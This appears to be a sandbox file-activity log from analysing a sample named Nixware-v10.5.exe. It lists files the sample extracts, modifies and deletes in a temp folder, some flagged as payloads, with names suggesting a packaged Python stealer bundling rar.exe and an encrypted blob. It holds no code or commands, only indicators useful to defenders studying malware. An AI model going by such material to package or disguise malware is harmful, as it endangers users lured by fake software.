C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\unicodedata.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:11.837 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:11.837 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | not measured |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\sqlite3.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\select.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\rarreg.key
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\rar.exe
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libssl-3.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\libcrypto-3.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\bound.blank
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\blank.aes
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\base_library.zip
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-utility-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-time-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.986 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-string-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.924 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-stdio-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.924 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-runtime-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.924 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-process-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-math-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-locale-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-heap-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-filesystem-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-environment-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-convert-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-conio-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-util-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.909 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-timezone-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-sysinfo-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-2-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-string-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-rtlsupport-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-profile-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-1.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processenvironment-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-namedpipe-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-memory-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.783 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-localization-l1-2-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-libraryloader-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-interlocked-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-heap-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-handle-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l2-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-2-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-fibers-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-errorhandling-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-debug-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-datetime-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| delete |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-console-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:37:02.643 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.722 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_decimal.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.722 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_hashlib.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.722 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_lzma.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.722 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_queue.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_socket.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_sqlite3.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ssl.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-console-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-datetime-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-debug-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-errorhandling-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-fibers-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.769 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.785 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-2-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.785 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l2-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.785 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-handle-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.847 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-heap-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.864 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-interlocked-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.864 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-libraryloader-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.864 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-localization-l1-2-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.864 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-memory-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.864 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-namedpipe-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.864 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processenvironment-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.864 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.926 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-1.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:58.926 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-profile-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.100 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-rtlsupport-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.115 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-string-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.115 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.115 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-2-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.115 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\unicodedata.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.944 |
| createpayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.944 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\sqlite3.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.944 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\select.pyd
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.944 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\rarreg.key
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.897 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\rar.exe
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.897 |
| createpayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.897 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\libssl-3.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.881 |
| createpayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.865 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\libcrypto-3.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\bound.blank
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\blank.aes
|
Nixware-v10.5.exe pid 572 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\blank.aes
|
Nixware-v10.5.exe pid 2904 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\blank.aes
|
- | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\base_library.zip
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-utility-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-time-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-string-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-stdio-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-runtime-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-process-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-math-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-locale-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-heap-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-filesystem-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-environment-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-convert-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-conio-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.131 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-util-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.115 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-timezone-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.115 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-sysinfo-l1-1-0.dll
|
Nixware-v10.5.exe pid 572 | 2026-09-26 12:36:59.115 |
| modifypayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll
|
- | 2026-09-26 12:36:58.722 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_bz2.pyd
|
- | 2026-09-26 12:36:58.722 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ctypes.pyd
|
- | 2026-09-26 12:36:58.722 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_decimal.pyd
|
- | 2026-09-26 12:36:58.722 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_hashlib.pyd
|
- | 2026-09-26 12:36:58.722 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_lzma.pyd
|
- | 2026-09-26 12:36:58.722 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_queue.pyd
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_socket.pyd
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_sqlite3.pyd
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\_ssl.pyd
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-console-l1-1-0.dll
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-datetime-l1-1-0.dll
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-debug-l1-1-0.dll
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-errorhandling-l1-1-0.dll
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-fibers-l1-1-0.dll
|
- | 2026-09-26 12:36:58.769 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-1-0.dll
|
- | 2026-09-26 12:36:58.785 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-2-0.dll
|
- | 2026-09-26 12:36:58.785 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l2-1-0.dll
|
- | 2026-09-26 12:36:58.785 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-handle-l1-1-0.dll
|
- | 2026-09-26 12:36:58.847 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-heap-l1-1-0.dll
|
- | 2026-09-26 12:36:58.864 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-interlocked-l1-1-0.dll
|
- | 2026-09-26 12:36:58.864 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-libraryloader-l1-1-0.dll
|
- | 2026-09-26 12:36:58.864 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-localization-l1-2-0.dll
|
- | 2026-09-26 12:36:58.864 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-memory-l1-1-0.dll
|
- | 2026-09-26 12:36:58.864 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-namedpipe-l1-1-0.dll
|
- | 2026-09-26 12:36:58.864 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processenvironment-l1-1-0.dll
|
- | 2026-09-26 12:36:58.864 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-0.dll
|
- | 2026-09-26 12:36:58.926 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-1.dll
|
- | 2026-09-26 12:36:58.926 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-profile-l1-1-0.dll
|
- | 2026-09-26 12:36:59.100 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-rtlsupport-l1-1-0.dll
|
- | 2026-09-26 12:36:59.115 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-string-l1-1-0.dll
|
- | 2026-09-26 12:36:59.115 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-1-0.dll
|
- | 2026-09-26 12:36:59.115 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-2-0.dll
|
- | 2026-09-26 12:36:59.115 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-sysinfo-l1-1-0.dll
|
- | 2026-09-26 12:36:59.115 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-timezone-l1-1-0.dll
|
- | 2026-09-26 12:36:59.115 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-util-l1-1-0.dll
|
- | 2026-09-26 12:36:59.115 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-conio-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-convert-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-environment-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-filesystem-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-heap-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-locale-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-math-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-process-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-runtime-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-stdio-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-string-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-time-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-utility-l1-1-0.dll
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\base_library.zip
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\blank.aes
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\bound.blank
|
- | 2026-09-26 12:36:59.131 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\libcrypto-3.dll
|
- | 2026-09-26 12:36:59.131 |
| modifypayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll
|
- | 2026-09-26 12:36:59.865 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\libssl-3.dll
|
